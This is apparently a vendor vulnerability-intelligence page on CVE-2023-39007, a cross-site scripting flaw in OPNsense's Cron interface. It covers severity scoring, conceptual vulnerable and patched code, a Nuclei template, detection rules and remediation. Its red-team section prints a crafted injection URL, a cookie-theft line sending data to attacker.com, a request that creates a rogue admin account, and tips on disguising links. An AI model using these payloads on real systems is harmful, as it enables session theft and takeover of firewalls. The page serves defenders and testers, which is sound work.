CVE-2023-39007
Executive Summary
CVE-2023-39007 is a critical Stored Cross-Site Scripting (XSS) vulnerability discovered in the Cron component of OPNsense, a popular open-source firewall and routing platform. The flaw resides in the /ui/cron/item/open endpoint, specifically within the openAction function in app/controllers/OPNsense/Cron/ItemController.php. An authenticated attacker can inject arbitrary JavaScript code through the Cron item opening functionality. Due to the high privileges typically associated with OPNsense administrative interfaces, this XSS can be escalated to Remote Code Execution (RCE), allowing an attacker to fully compromise the firewall appliance and pivot into the internal network. The vulnerability affects OPNsense Community Edition before version 23.7 and Business Edition before version 23.4.2. A public proof-of-concept (PoC) and a Nuclei template are available, increasing the risk of exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but affects the core OPNsense web interface, which is built upon a PHP framework. The risk is inherent in the application's own codebase, not a third-party dependency.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Base Score: 9.6 (Critical)
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): None (N) - The attacker does not need prior authentication to trigger the XSS, but the XSS payload will execute in the context of an authenticated admin session.
- User Interaction (UI): Required (R) - The victim (an authenticated admin) must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) - The vulnerable component (Cron UI) is different from the impacted component (the admin's browser session).
- Confidentiality (C): High (H) - An attacker can steal session cookies, API keys, and other sensitive data.
- Integrity (I): High (H) - An attacker can modify firewall rules, create new admin accounts, or execute arbitrary commands.
- Availability (A): High (H) - An attacker can disrupt firewall operations, leading to a denial of service.
Threat Level: Critical. The combination of a high CVSS score, public PoC, and the potential for full system compromise makes this a high-priority vulnerability for any organization using OPNsense.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (CWE-79) in the Cron job management interface. The openAction function in ItemController.php is responsible for rendering the "edit" dialog for a specific Cron job. It takes a parameter (the Cron job ID) and reflects it directly into the JavaScript code without proper sanitization or encoding.
Vulnerable Code Path:
- An authenticated admin navigates to
/ui/cron/item/open/[ID]. - The
openActionfunction retrieves the[ID]parameter. - This parameter is directly concatenated into a JavaScript string that opens a dialog:
openDialog('[ID]'). - If the
[ID]parameter contains a single quote ('), it breaks out of the JavaScript string, allowing arbitrary JavaScript injection.
Exploitation Flow:
- An attacker crafts a malicious URL:
/ui/cron/item/open/0'+alert(document.domain)+' - The attacker tricks an authenticated admin into clicking this link (e.g., via a phishing email or a compromised website).
- The admin's browser executes the injected JavaScript in the context of the OPNsense web interface.
- The attacker can then use this foothold to perform actions such as:
- Stealing the admin's session cookie.
- Making API calls to create a new admin user.
- Modifying firewall rules.
- Executing arbitrary system commands via the OPNsense API or by modifying Cron jobs to run malicious scripts.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// app/controllers/OPNsense/Cron/ItemController.php
public function openAction($uuid)
{
// ... fetch cron item data ...
$this->view->dialogScript = "openDialog('$uuid');";
// ...
}
Patched Code (Conceptual):
// app/controllers/OPNsense/Cron/ItemController.php
public function openAction($uuid)
{
// ... fetch cron item data ...
$safeUuid = htmlspecialchars($uuid, ENT_QUOTES, 'UTF-8');
$this->view->dialogScript = "openDialog('$safeUuid');";
// ...
}
The patch uses htmlspecialchars() to encode the $uuid parameter, preventing JavaScript injection. The fix was released in OPNsense Community Edition 23.7 and Business Edition 23.4.2.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target OPNsense instance (version < 23.7 Community or < 23.4.2 Business).
- A valid admin session cookie (or a way to trick an admin into clicking a link).
Step-by-Step Exploitation:
Craft the Malicious URL:
http://<target>/ui/cron/item/open/0'+alert(document.domain)+'This is a simple PoC that triggers an alert box. For a real attack, replace
alert(document.domain)with a more sophisticated payload.Deliver the Payload:
- Send the URL to an authenticated admin via email, chat, or a link on a compromised website.
- Use a URL shortener to obfuscate the malicious intent.
Execute the Attack:
- When the admin clicks the link, the JavaScript executes.
- Example payload to steal the session cookie:
fetch('https://attacker.com/steal?cookie='+document.cookie) - Example payload to create a new admin user (requires knowledge of the API):
fetch('/api/core/user/add', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({username: 'hacker', password: 'P@ssw0rd!', groups: ['admins']}) })
Nuclei Template (Provided): The provided Nuclei template automates the detection and exploitation of this vulnerability. It performs a login, then sends the malicious request and checks for the reflected payload.
id: CVE-2023-39007
info:
name: OPNsense - Cross-Site Scripting to RCE
author: ritikchaddha
severity: critical
description: |
There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.
impact: |
Authenticated attackers can inject malicious JavaScript through the Cron item opening functionality, potentially escalating to remote code execution and compromising the entire firewall/router system and network security.
remediation: |
Update OPNsense Community Edition to version 23.7 or later, or Business Edition to version 23.4.2 or later that properly sanitizes input in the Cron ItemController.
reference:
- https://logicaltrust.net/blog/2023/08/opnsense.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-39007
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.6
cve-id: CVE-2023-39007
cwe-id: CWE-79
epss-score: 0.54148
epss-percentile: 0.98028
cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: opnsense
product: opnsense
shodan-query:
- title:"OPNsense"
- http.title:"opnsense"
fofa-query: title="opnsense"
google-query: intitle:"opnsense"
tags: cve2023,cve,opnsense,xss,authenticated,rce,vuln
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1
- |
GET /ui/cron/item/open/0'+alert(document.domain)+' HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- "openDialog('0'+alert(document.domain)+''"
- type: word
part: header_3
words:
- "text/html"
- type: status
status:
- 200
extractors:
- type: regex
name: para
part: body
group: 1
regex:
- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
internal: true
- type: regex
name: value
part: body
group: 2
regex:
- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
internal: true
# digest: 4a0a0047304502205e024926dff19bb9136e17ebf801ac8e4592f49a4953e5f06da7b5d977637f26022100c382acf9fab283d8d93a624a8bc6436fb81ebc61aa10bf6a6d0c7702dbca671c:922c64590222798bb761d5b6d8e72950
Blue Team (Defense & Detection)
Immediate Actions:
- Patch: Update OPNsense to Community Edition 23.7 or Business Edition 23.4.2 immediately.
- Isolate: If patching is not possible, restrict access to the OPNsense web interface to trusted IPs only.
- Audit Logs: Review web server logs for requests to
/ui/cron/item/open/containing suspicious characters (e.g.,',",<,>).
Hunting Queries:
- Search for HTTP requests to
/ui/cron/item/open/with a non-numeric UUID. - Look for JavaScript code in the response body that contains
openDialog('followed by unexpected characters.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/ui/cron/item/open/with a payload containing single quotes or JavaScript code. - Outbound connections from the OPNsense appliance to unknown external IPs (e.g., attacker's C2 server).
- HTTP requests to
- Host IOCs:
- Unexpected Cron jobs created in the OPNsense interface.
- New admin user accounts.
- Modified firewall rules.
- Unusual processes running on the OPNsense system.
- Log IOCs:
- Web server logs showing requests to
/ui/cron/item/open/with a non-standard UUID. - Authentication logs showing logins from unusual IPs.
- Web server logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2023_39007_OPNsense_XSS {
meta:
description = "Detects exploitation attempts of CVE-2023-39007 in OPNsense web logs"
author = "Valters IT"
date = "2024-05-24"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-39007"
severity = "critical"
strings:
$xss_payload = /\/ui\/cron\/item\/open\/[0-9]*'[^']*'/
$open_dialog = "openDialog('"
condition:
$xss_payload and $open_dialog
}
Sigma Rule
title: CVE-2023-39007 OPNsense Cron XSS Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the OPNsense Cron XSS vulnerability
author: Valters IT
date: 2024/05/24
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-39007
- https://logicaltrust.net/blog/2023/08/opnsense.html
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-stem|contains: '/ui/cron/item/open/'
cs-uri-query|contains: "'"
condition: selection
falsepositives:
- Legitimate use of single quotes in a Cron job description (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-39007 OPNsense Cron XSS Exploitation Attempt";
flow:to_server,established;
content:"GET";
http_method;
content:"/ui/cron/item/open/";
http_uri;
content:"'";
http_uri;
classtype:web-application-attack;
sid:10000001;
rev:1;
reference:cve,2023-39007;
reference:url,logicaltrust.net/blog/2023/08/opnsense.html;
)
Remediation & Mitigation
Primary Remediation:
- Update OPNsense: Upgrade to Community Edition 23.7 or Business Edition 23.4.2 or later. This is the only complete fix.
Mitigation (if patching is delayed):
- Network Segmentation: Place the OPNsense management interface on a separate, isolated management network.
- Access Control: Use firewall rules to restrict access to the OPNsense web UI (port 443) to only trusted administrative IPs.
- Web Application Firewall (WAF): Deploy a WAF rule to block requests to
/ui/cron/item/open/that contain single quotes or other XSS indicators. - Input Validation: As a temporary measure, manually add input validation to the
openActionfunction if you have access to the source code. - Monitor: Implement the detection rules provided above to identify and respond to exploitation attempts.
Long-Term Security:
- Secure Coding Practices: Implement strict input validation and output encoding for all user-controlled data.
- Regular Audits: Conduct regular security audits and penetration testing of the OPNsense web interface.
- Patch Management: Establish a robust patch management process to ensure timely updates.
Valters IT
{/* [Security Hash: 2FE84C835BF1AE47ABA4EEAF] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.